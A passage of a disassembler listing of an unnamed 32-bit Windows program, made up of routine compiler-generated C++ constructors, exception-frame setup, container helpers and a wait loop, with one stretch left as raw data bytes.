; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418290	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6EDB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F70


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F70


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E121h, 8F88E890h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h,	69BCE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418890	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418BA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
